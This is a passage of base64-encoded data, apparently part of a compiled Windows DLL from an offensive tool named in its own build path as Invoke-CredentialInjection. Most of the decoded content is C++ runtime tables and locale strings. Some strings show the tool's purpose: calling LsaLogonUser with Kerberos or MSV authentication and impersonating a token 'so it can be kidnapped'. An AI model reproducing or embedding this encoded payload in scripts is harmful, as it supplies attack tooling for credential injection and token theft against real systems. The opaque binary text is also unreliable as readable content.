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awAtAEsAWgAAAGsAeQAtAEsARwAAAHMAdwAtAEsARQAAAHUAegAtAFUAWgAtAEwAYQB0AG4AAAAAAHQAdAAtAFIAVQAAAGIAbgAtAEkATgAAAHAAYQAtAEkATgAAAGcAdQAtAEkATgAAAHQAYQAtAEkATgAAAHQAZQAtAEkATgAAAGsAbgAtAEkATgAAAG0AbAAtAEkATgAAAG0AcgAtAEkATgAAAHMAYQAtAEkATgAAAG0AbgAtAE0ATgAAAGMAeQAtAEcAQgAAAGcAbAAtAEUAUwAAAGsAbwBrAC0ASQBOAAAAAABzAHkAcgAtAFMAWQAAAAAAZABpAHYALQBNAFYAAAAAAHEAdQB6AC0AQgBPAAAAAABuAHMALQBaAEEAAABtAGkALQBOAFoAAABhAHIALQBJAFEAAABkAGUALQBDAEgAAABlAG4ALQBHAEIAAABlAHMALQBNAFgAAABmAHIALQBCAEUAAABpAHQALQBDAEgAAABuAGwALQBCAEUAAABuAG4ALQBOAE8AAABwAHQALQBQAFQAAABzAHIALQBTAFAALQBMAGEAdABuAAAAAABzAHYALQBGAEkAAABhAHoALQBBAFoALQBDAHkAcgBsAAAAAABzAGUALQBTAEUAAABtAHMALQBCAE4AAAB1AHoALQBVAFoALQBDAHkAcgBsAAAAAABxAHUAegAtAEUAQwAAAAAAYQByAC0ARQBHAAAAegBoAC0ASABLAAAAZABlAC0AQQBUAAAAZQBuAC0AQQBVAAAAZQBzAC0ARQBTAAAAZgByAC0AQwBBAAAAcwByAC0AUwBQAC0AQwB5AHIAbAAAAAAAcwBlAC0ARgBJAAAAcQB1AHoALQBQAEUAAAAAAGEAcgAtAEwAWQAAAHoAaAAtAFMARwAAAGQAZQAtAEwAVQAAAGUAbgAtAEMAQQAAAGUAcwAtAEcAVAAAAGYAcgAtAEMASAAAAGgAcgAtAEIAQQAAAHMAbQBqAC0ATgBPAAAAAABhAHIALQBEAFoAAAB6AGgALQBNAE8AAABkAGUALQBMAEkAAABlAG4ALQBOAFoAAABlAHMALQBDAFIAAABmAHIALQBMAFUAAABiAHMALQBCAEEALQBMAGEAdABuAAAAAABzAG0AagAtAFMARQAAAAAAYQByAC0ATQBBAAAAZQBuAC0ASQBFAAAAZQBzAC0AUABBAAAAZgByAC0ATQBDAAAAcwByAC0AQgBBAC0ATABhAHQAbgAAAAAAcwBtAGEALQBOAE8AAAAAAGEAcgAtAFQATgAAAGUAbgAtAFoAQQAAAGUAcwAtAEQATwAAAHMAcgAtAEIAQQAtAEMAeQByAGwAAAAAAHMAbQBhAC0AUwBFAAAAAABhAHIALQBPAE0AAABlAG4ALQBKAE0AAABlAHMALQBWAEUAAABzAG0AcwAtAEYASQAAAAAAYQByAC0AWQBFAAAAZQBuAC0AQwBCAAAAZQBzAC0AQwBPAAAAcwBtAG4ALQBGAEkAAAAAAGEAcgAtAFMAWQAAAGUAbgAtAEIAWgAAAGUAcwAtAFAARQAAAGEAcgAtAEoATwAAAGUAbgAtAFQAVAAAAGUAcwAtAEEAUgAAAGEAcgAtAEwAQgAAAGUAbgAtAFoAVwAAAGUAcwAtAEUAQwAAAGEAcgAtAEsAVwAAAGUAbgAtAFAASAAAAGUAcwAtAEMATAAAAGEAcgAtAEEARQAAAGUAcwAtAFUAWQAAAGEAcgAtAEIASAAAAGUAcwAtAFAAWQAAAGEAcgAtAFEAQQAAAGUAcwAtAEIATwAAAGUAcwAtAFMAVgAAAGUAcwAtAEgATgAAAGUAcwAtAE4ASQAAAGUAcwAtAFAAUgAAAHoAaAAtAEMASABUAAAAAABzAHIAAAAAAGEAZgAtAHoAYQAAAGEAcgAtAGEAZQAAAGEAcgAtAGIAaAAAAGEAcgAtAGQAegAAAGEAcgAtAGUAZwAAAGEAcgAtAGkAcQAAAGEAcgAtAGoAbwAAAGEAcgAtAGsAdwAAAGEAcgAtAGwAYgAAAGEAcgAtAGwAeQAAAGEAcgAtAG0AYQAAAGEAcgAtAG8AbQAAAGEAcgAtAHEAYQAAAGEAcgAtAHMAYQAAAGEAcgAtAHMAeQAAAGEAcgAtAHQAbgAAAGEAcgAtAHkAZQAAAGEAegAtAGEAegAtAGMAeQByAGwAAAAAAGEAegAtAGEAegAtAGwAYQB0AG4AAAAAAGIAZQAtAGIAeQAAAGIAZwAtAGIAZwAAAGIAbgAtAGkAbgAAAGIAcwAtAGIAYQAtAGwAYQB0AG4AAAAAAGMAYQAtAGUAcwAAAGMAcwAtAGMAegAAAGMAeQAtAGcAYgAAAGQAYQAtAGQAawAAAGQAZQAtAGEAdAAAAGQAZQAtAGMAaAAAAGQAZQAtAGQAZQAAAGQAZQAtAGwAaQAAAGQAZQAtAGwAdQAAAGQAaQB2AC0AbQB2AAAAAABlAGwALQBnAHIAAABlAG4ALQBhAHUAAABlAG4ALQBiAHoAAABlAG4ALQBjAGEAAABlAG4ALQBjAGIAAABlAG4ALQBnAGIAAABlAG4ALQBpAGUAAABlAG4ALQBqAG0AAABlAG4ALQBuAHoAAABlAG4ALQBwAGgAAABlAG4ALQB0AHQAAABlAG4ALQB1AHMAAABlAG4ALQB6AGEAAABlAG4ALQB6AHcAAABlAHMALQBhAHIAAABlAHMALQBiAG8AAABlAHMALQBjAGwAAABlAHMALQBjAG8AAABlAHMALQBjAHIAAABlAHMALQBkAG8AAABlAHMALQBlAGMAAABlAHMALQBlAHMAAABlAHMALQBnAHQAAABlAHMALQBoAG4AAABlAHMALQBtAHgAAABlAHMALQBuAGkAAABlAHMALQBwAGEAAABlAHMALQBwAGUAAABlAHMALQBwAHIAAABlAHMALQBwAHkAAABlAHMALQBzAHYAAABlAHMALQB1AHkAAABlAHMALQB2AGUAAABlAHQALQBlAGUAAABlAHUALQBlAHMAAABmAGEALQBpAHIAAABmAGkALQBmAGkAAABmAG8ALQBmAG8AAABmAHIALQBiAGUAAABmAHIALQBjAGEAAABmAHIALQBjAGgAAABmAHIALQBmAHIAAABmAHIALQBsAHUAAABmAHIALQBtAGMAAABnAGwALQBlAHMAAABnAHUALQBpAG4AAABoAGUALQBpAGwAAABoAGkALQBpAG4AAABoAHIALQBiAGEAAABoAHIALQBoAHIAAABoAHUALQBoAHUAAABoAHkALQBhAG0AAABpAGQALQBpAGQAAABpAHMALQBpAHMAAABpAHQALQBjAGgAAABpAHQALQBpAHQAAABqAGEALQBqAHAAAABrAGEALQBnAGUAAABrAGsALQBrAHoAAABrAG4ALQBpAG4AAABrAG8AawAtAGkAbgAAAAAAawBvAC0AawByAAAAawB5AC0AawBnAAAAbAB0AC0AbAB0AAAAbAB2AC0AbAB2AAAAbQBpAC0AbgB6AAAAbQBrAC0AbQBrAAAAbQBsAC0AaQBuAAAAbQBuAC0AbQBuAAAAbQByAC0AaQBuAAAAbQBzAC0AYgBuAAAAbQBzAC0AbQB5AAAAbQB0AC0AbQB0AAAAbgBiAC0AbgBvAAAAbgBsAC0AYgBlAAAAbgBsAC0AbgBsAAAAbgBuAC0AbgBvAAAAbgBzAC0AegBhAAAAcABhAC0AaQBuAAAAcABsAC0AcABsAAAAcAB0AC0AYgByAAAAcAB0AC0AcAB0AAAAcQB1AHoALQBiAG8AAAAAAHEAdQB6AC0AZQBjAAAAAABxAHUAegAtAHAAZQAAAAAAcgBvAC0AcgBvAAAAcgB1AC0AcgB1AAAAcwBhAC0AaQBuAAAAcwBlAC0AZgBpAAAAcwBlAC0AbgBvAAAAcwBlAC0AcwBlAAAAcwBrAC0AcwBrAAAAcwBsAC0AcwBpAAAAcwBtAGEALQBuAG8AAAAAAHMAbQBhAC0AcwBlAAAAAABzAG0AagAtAG4AbwAAAAAAcwBtAGoALQBzAGUAAAAAAHMAbQBuAC0AZgBpAAAAAABzAG0AcwAtAGYAaQAAAAAAcwBxAC0AYQBsAAAAcwByAC0AYgBhAC0AYwB5AHIAbAAAAAAAcwByAC0AYgBhAC0AbABhAHQAbgAAAAAAcwByAC0AcwBwAC0AYwB5AHIAbAAAAAAAcwByAC0AcwBwAC0AbABhAHQAbgAAAAAAcwB2AC0AZgBpAAAAcwB2AC0AcwBlAAAAcwB3AC0AawBlAAAAcwB5AHIALQBzAHkAAAAAAHQAYQAtAGkAbgAAAHQAZQAtAGkAbgAAAHQAaAAtAHQAaAAAAHQAbgAtAHoAYQAAAHQAcgAtAHQAcgAAAHQAdAAtAHIAdQAAAHUAawAtAHUAYQAAAHUAcgAtAHAAawAAAHUAegAtAHUAegAtAGMAeQByAGwAAAAAAHUAegAtAHUAegAtAGwAYQB0AG4AAAAAAHYAaQAtAHYAbgAAAHgAaAAtAHoAYQAAAHoAaAAtAGMAaABzAAAAAAB6AGgALQBjAGgAdAAAAAAAegBoAC0AYwBuAAAAegBoAC0AaABrAAAAegBoAC0AbQBvAAAAegBoAC0AcwBnAAAAegBoAC0AdAB3AAAAegB1AC0AegBhAAAAAAAAAAAAAAAAAADA//81wmghotoPyf8/AAAAAAAA8D8IBAgICAQICAAEDAgABAwIAAAAAAAAAAAAAPA/fwI1wmghotoPyT5A////////738AAAAAAAAQAAAAAAAAAJjAAAAAAAAAmEAAAAAAAADwfwAAAAAAAAAAAAAAAFRCARBgQgEQaEIBEHRCARCAQgEQjEIBEJhCARCoQgEQtEIBELxCARDEQgEQ0EIBENxCARCXVwEQ6EIBEPBCARD4QgEQ/EIBEABDARAEQwEQCEMBEAxDARAQQwEQFEMBECBDARAkQwEQKEMBECxDARAwQwEQNEMBEDhDARA8QwEQQEMBEERDARBIQwEQTEMBEFBDARBUQwEQWEMBEFxDARBgQwEQZEMBEGhDARBsQwEQcEMBEHRDARB4QwEQfEMBEIBDARCEQwEQiEMBEIxDARCQQwEQlEMBEJhDARCcQwEQqEMBELRDARC8QwEQyEMBEOBDARDsQwEQAEQBECBEARBARAEQYEQBEIBEARCgRAEQxEQBEOBEARAERQEQJEUBEExFARBoRQEQeEUBEHxFARCERQEQlEUBELhFARDARQEQzEUBENxFARD4RQEQGEYBEEBGARBoRgEQkEYBELxGARDYRgEQ/EYBECBHARBMRwEQeEcBEJdXARCURwEQqEcBEMRHARDYRwEQ+EcBEF9fYmFzZWQoAAAAAF9fY2RlY2wAX19wYXNjYWwAAAAAX19zdGRjYWxsAAAAX190aGlzY2FsbAAAX19mYXN0Y2FsbAAAX192ZWN0b3JjYWxsAAAAAF9fY2xyY2FsbAAAAF9fZWFiaQAAX19wdHI2NABfX3Jlc3RyaWN0AABfX3VuYWxpZ25lZAByZXN0cmljdCgAAAAgbmV3AAAAACBkZWxldGUAPQAAAD4+AAA8PAAAIQAAAD09AAAhPQAAW10AAG9wZXJhdG9yAAAAAC0+AAAqAAAAKysAAC0tAAAtAAAAKwAAACYAAAAtPioALwAAACUAAAA8AAAAPD0AAD4AAAA+PQAALAAAACgpAAB+AAAAXgAAAHwAAAAmJgAAfHwAACo9AAArPQAALT0AAC89AAAlPQAAPj49ADw8PQAmPQAAfD0AAF49AABgdmZ0YWJsZScAAABgdmJ0YWJsZScAAABgdmNhbGwnAGB0eXBlb2YnAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGBzdHJpbmcnAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHZlY3RvciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAGB2aXJ0dWFsIGRpc3BsYWNlbWVudCBtYXAnAABgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAYHVkdCByZXR1cm5pbmcnAGBFSABgUlRUSQAAAGBsb2NhbCB2ZnRhYmxlJwBgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAgbmV3W10AACBkZWxldGVbXQAAAGBvbW5pIGNhbGxzaWcnAABgcGxhY2VtZW50IGRlbGV0ZSBjbG9zdXJlJwAAYHBsYWNlbWVudCBkZWxldGVbXSBjbG9zdXJlJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAGBkeW5hbWljIGluaXRpYWxpemVyIGZvciAnAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnACBUeXBlIERlc2NyaXB0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